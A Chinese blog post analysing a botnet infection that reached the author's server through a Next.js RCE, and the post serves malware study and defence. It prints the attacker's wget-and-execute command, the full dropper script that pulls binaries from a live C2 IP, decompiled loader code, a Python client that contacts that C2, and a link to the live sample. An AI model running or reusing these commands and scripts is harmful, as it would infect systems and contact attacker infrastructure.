记一次服务器被挂RCE的逆向分析经历 背景 周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼： 担心的事情还是发生了，近期披露的CVE-2025-66478漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。 作为一个CTFer，这送上门的样本不研究一下说不过去吧（ 分析 脚本 阿里云给出的警告可以看到执行shell脚本： /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh： export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制，并通过IDA Pro打开： int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作： v7 = syscall(319LL, "a", 0LL);，319是Linux x64架构下的memfd_create系统调用，用于在内存中创建匿名文件。随后，从目标服务器下载Payload，加载到这段内存中并执行 *v9++ ^= 0x99u;，将从服务器下载到的Payload按字节异或0x99，进行解密，可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";，将本进程伪装成内核的kworker进程 其他操作： 通过检测是否存在日志文件/tmp/log_de.log，判断服务器是否已经被入侵，若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154，但是端口没找到。分析一下设置端口部分的代码： *(_QWORD *)&addr.sa_family = 4213178370LL; 其中，4213178370LL(DEC)=0xFB200002(HEX)，因为是QWORD，即64位值，所以实际值为0x00000000FB200002。同时因为是小端序，所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是： offset 0–1：sa_family（2 字节） offset 2–15：sa_data（14 字节） 也就是说，上述赋值语句实现了： offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中，sa_data[0..1]代表了端口，sa_data[2..5]代表IP。因为网络字节序为大端序，因此实际端口就是0x20FB，即8443。后面也可找到赋值IP的部分： v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本，按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件： import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下，发现确实是个木马： 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长，把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表，并加载进IDA Pro： \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表： import json import idc import idaapi import idautils # ⚠️ 修改这里：指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字，比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选：如果重命名成功，尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时，将符号表发给AI分析，发现存在一些对OSS存储桶的一些操作函数： (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件（极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket）。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用，防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS，上传/下载文件，窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接，可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信（可能用于隐藏 C2 流量）。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信，或者是勒索软件的加密模块。 可推测一些可能的程序逻辑： 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus，这在服务器恶意软件中较少见，可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP，而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法，因为指向阿里云的流量通常会被防火墙视为白名单流量，很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6)，可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库（Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert）暗示了它是 计算密集型 的。 如果是勒索软件：这些数学库用于生成密钥加密文件。 如果是挖矿木马：这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64，这符合某些挖矿算法（如 RandomX）的特征。 进一步分析，最终找到了这样一个函数UXTgUQ_stlzy_RraJUM： 丢给AI分析，结论是： 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文，这个函数属于被那个加载器下载并执行的核心木马程序（Bot）。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一，负责接收 C2 服务器发送的指令字符串，解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败，直接返回 "401 Not Auth"，说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度，然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值： Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令： I: 调用 os_rename。功能：重命名文件。 E: 调用 os_removeAll。功能：删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能：数据库相关，推测该木马包含 MySQL 爆破或连接模块，此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数（如 sub_7CAF40 等），通常对应：开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分，暴露了木马的核心能力： Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在，它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能，配合你之前看到的 memfd_create，这通常指将 Payload 注入到其他进程或在内存中直接运行，不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的，可以动态加载 .so 或 Go 的 plugin 模块来扩展功能（如加密货币挖矿、DDoS 攻击、端口扫描等）。 3. 响应构造逻辑 在 switch 结束后，代码有一段复杂的字符串拼接逻辑： *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果（如“OK”、“Error”或具体数据）用特定的分隔符（如 |<result>-）包裹后回传给 C2。 4. 总结与画像 结合上一段代码（Loader），我们可以对这个木马做一个完整的画像： 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格，以及 Golang 编写、支持模块化插件的特征，极有可能是 Spark 僵尸网络或者其变种（如 Sliver C2 修改版，但更像黑产自研的 Bot）。也有可能是 Sysrv-hello 挖矿蠕虫的变种（它们常混合使用 Go 和 Exploit）。 攻击链条: Loader: 也就是之前的那个 C 代码，负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序，常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力，通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了，这个逻辑基本上可以判定是典型的Botnet，找到的IP有99%的概率都是被操控的僵尸机，去调查也没有意义。 主要还是总结一下教训，如何防止这类事情发生，对于我这种小规模的个人网站，爆出CVE最好立刻先停用有关一切服务，等确定修复的版本放出后再更新并重新启用 样本下载： https://drive.iyoroy.cn/OneDrive/Public/Misc/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%AB%E6%8C%82RCE%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E7%BB%8F%E5%8E%86/Payload.zip 注：此样本未经任何处理，请勿在不加安全措施的情况下直接运行！ 密码20251206